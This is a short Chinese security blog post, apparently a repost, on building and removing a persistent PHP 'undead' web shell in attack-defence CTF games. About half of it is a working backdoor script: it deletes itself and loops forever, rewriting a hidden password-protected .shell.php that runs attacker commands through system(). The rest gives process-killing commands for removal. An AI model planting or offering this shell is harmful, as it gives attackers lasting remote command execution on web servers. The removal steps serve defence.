干货|不死马的创建和查杀

admin 2023年2月21日16:56:48评论45 views字数 660阅读2分12秒阅读模式

0x00 创建


md5加密密码:


干货|不死马的创建和查杀


代码:

<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.shell.php';$code = '<?php if(md5($_GET["pass"])=="2591c98b70119fe624898b1e424b5e91"){@system($_POST[cmd]);} ?>';while (1){    file_put_contents($file,$code);}?>

触发执行:


干货|不死马的创建和查杀


0x01 查看


权限:


干货|不死马的创建和查杀


内容:


干货|不死马的创建和查杀


执行:


干货|不死马的创建和查杀


0x02 查杀


root用户角度的查杀:

1、杀掉进程

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

2、重启服务

重启web服务。


其他用户的查杀:

在awd中,ctf用户没有权限,不能重启服务,而且,以ctf的用户来杀进程和条件竞争也是不可行的。

(不死马会先创建,然后被删除,在创建到被删除的过程中会可利用。)

最简单的方式就是以www-data用户的角度通过杀进程来实现查杀。

1、杀掉进程:

<?php@system("ps -aux | grep www-data | awk '{print $2}' | xargs kill -9");?>

2、条件竞争

不推荐,如果不死马中没有调用usleep()函数,进行延时的话,条件竞争是gg的。


作者:RJ45

原文链接:https://rj45mp.github.io/bushima/

原文始发于微信公众号(菜鸟学信安):干货|不死马的创建和查杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日16:56:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货|不死马的创建和查杀http://cn-sec.com/archives/1265759.html

发表评论

匿名网友 填写信息